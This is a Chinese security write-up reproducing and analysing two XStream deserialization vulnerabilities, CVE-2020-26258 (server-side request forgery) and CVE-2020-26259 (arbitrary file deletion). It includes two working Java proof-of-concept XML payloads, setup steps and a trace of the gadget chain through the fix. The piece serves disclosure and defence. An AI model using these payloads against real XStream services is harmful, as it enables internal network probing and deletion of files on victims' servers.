XStream 反序列化漏洞 (CVE-2020-26258 & 26259) 的复现与分析 – 作者:奇安信代码卫士

Xstream 是 Java 类库,用来将对象序列化成 XML (JSON) 或反序列化为对象。XStream 是一款开源软件,允许在 BSD 许可证的许可下分发。

0x01 漏洞描述

Xstream上次对CVE-2020-26217处理并不彻底,虽然通过黑名单方法阻止了远程代码执行,但是仍然可以采用类似思路实现文件删除与服务器请求伪造。

影响版本

Xstream < = 1.4.14

修复版本

Xstream > = 1.4.15

风险等级

严重

0x02 PoC

CVE-2020-26258的 PoC 如下:

import com.thoughtworks.xstream.XStream;/*CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshallingwith XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.All versions until and including version 1.4.14https://x-stream.github.io/CVE-2020-26258.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/public class CVE_2020_26258 {public static void main(String[] args) {String ssrf_xml = "<map>\n" +"  <entry>\n" +"    <jdk.nashorn.internal.objects.NativeString>\n" +"      <flags>0</flags>\n" +"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +"        <dataHandler>\n" +"          <dataSource class='javax.activation.URLDataSource'>\n" +"            <url>http://localhost:8989/internal/:</url>\n" +"          </dataSource>\n" +"          <transferFlavors/>\n" +"        </dataHandler>\n" +"        <dataLen>0</dataLen>\n" +"      </value>\n" +"    </jdk.nashorn.internal.objects.NativeString>\n" +"    <string>test</string>\n" +"  </entry>\n" +"</map>";XStream xstream = new XStream();xstream.fromXML(ssrf_xml);}}

CVE-2020-26259 的 PoC 如下:

import com.thoughtworks.xstream.XStream;/*CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local hostwhen unmarshalling as long as the executing process has sufficient rights.https://x-stream.github.io/CVE-2020-26259.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/public class CVE_2020_26259 {public static void main(String[] args) {String xml_poc = "<map>\n" +"  <entry>\n" +"    <jdk.nashorn.internal.objects.NativeString>\n" +"      <flags>0</flags>\n" +"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +"        <dataHandler>\n" +"          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +"            <contentType>text/plain</contentType>\n" +"            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +"              <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +"            </is>\n" +"          </dataSource>\n" +"          <transferFlavors/>\n" +"        </dataHandler>\n" +"        <dataLen>0</dataLen>\n" +"      </value>\n" +"    </jdk.nashorn.internal.objects.NativeString>\n" +"    <string>test</string>\n" +"  </entry>\n" +"</map>";XStream xstream = new XStream();xstream.fromXML(xml_poc);}}

0x03 漏洞详情

复现流程

环境

idea 构建maven工程,使用上述 PoC,pom文件为:

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>1</groupId><artifactId>1</artifactId><version>1.0-SNAPSHOT</version><!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream --><dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.14</version></dependency></dependencies></project>

直接运行即可。

复现

  • CVE-2020-26258

使用 flask 开一个临时服务

1608534349_5fe0494d38aafdcb2599a.png!small?1608534349615

运行 PoC 收到请求

1608534362_5fe0495a70149880b748a.png!small?1608534362896

  • CVE-2020-26259

运行 PoC 前:

1608534373_5fe049654d37e89e15423.png!small?1608534376345

运行 PoC 后:

1608534380_5fe0496cccfe42b4b0211.png!small?1608534381279

漏洞分析

这两个漏洞基本类似上次的CVE-2020-26217,主要是利用 Xstream 在反序列化map 对象时会检查是否存在 entry:如果存在,那么在构建这个 entry 的过程中,会调用 entry 的hashCode 函数。CVE-2020-26217与本次两个都是使用到了jdk.nashorn.internal.objects.NativeString 的 hashCode函数。

调试分析

1608534395_5fe0497b54f207be75440.png!small?1608534395796

使用 xstream 的 fromXml 进行反序列化:

1608534407_5fe04987760eb0f540d1d.png!small?1608534408920

跟进到 putCurrentEntryIntoMap,在 Xstream 构建 entry 的过程中,将本次的key 值即我们提供的 NativeString, put 到 map中:

1608534423_5fe04997e6acadb6b20bf.png!small?1608534425165

put 过程会进行一步 hash 操作:

1608534442_5fe049aabc19aac978148.png!small?1608534445468

在 hash 里调用了key 的 hashCode 函数,即我们输入的jdk.nashorn.internal.objects.NativeString 的 hashCode 函数。

1608534459_5fe049bb0ca3ad710f75f.png!small?1608534461773

NativeString 的 hashCode 函数调用 getStringValue,进而调用其 value 的toString 函数,而这个value则是我们提供的com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data。

1608534478_5fe049ce27e32e005eda2.png!small?1608534480740

Base64Data 的 toString 调用了其 get。

1608534505_5fe049e97a1b09196025d.png!small?1608534507775

目前为止,这两个漏洞与CVE-2020-26217一致。CVE-2020-26217 利用的是readFrom 及其后续,不过因为 Xstream 黑名单限制了进行远程代码执行,这里利用 getInputStream 与 close 进行 ssrf 和文件删除。

1608534523_5fe049fb595de49c38208.png!small?1608534526469

InputStream is = this.dataHandler.getDataSource().getInputStream();是触发ssrf的地方,使用 javax.activation.URLDataSource 的 getInputStream 函数:

1608534542_5fe04a0e7c88c97ad8f5b.png!small?1608534543341

URLDataSource 的 getInputStream 函数就是访问传入的 url。

1608534561_5fe04a21f2b469ef09f52.png!small?1608534562994

文件删除则是在 ReadAllStream 的 close里进行的。

修复分析

1608534577_5fe04a319967d9f5ad99b.png!small?1608534578816

添加黑名单。

0x04 参考文献

  • https://xz.aliyun.com/t/8526

  • https://github.com/x-stream/xstream/commit/0bcbf50126a62dfcd65f93a0da0c6d1ae92aa738

  • http://x-stream.github.io/CVE-2020-26258.html

  • http://x-stream.github.io/CVE-2020-26259.html

注:奇安信开源卫士20201214. 529版本已支持对这两个 XStream 漏洞的检测。


图片[16]-XStream 反序列化漏洞 (CVE-2020-26258 & 26259) 的复现与分析 – 作者:奇安信代码卫士-安全小百科

推荐阅读【缺陷周话】第 38期——不安全的反序列化:XStreamApache Commons Collections反序列化漏洞分析与复现Apache Struts 修复 OGNL 技术中可能存在的 RCE 缺陷

题图:Pixabay License

转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

来源:freebuf.com 2020-12-21 15:11:06 by: 奇安信代码卫士

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论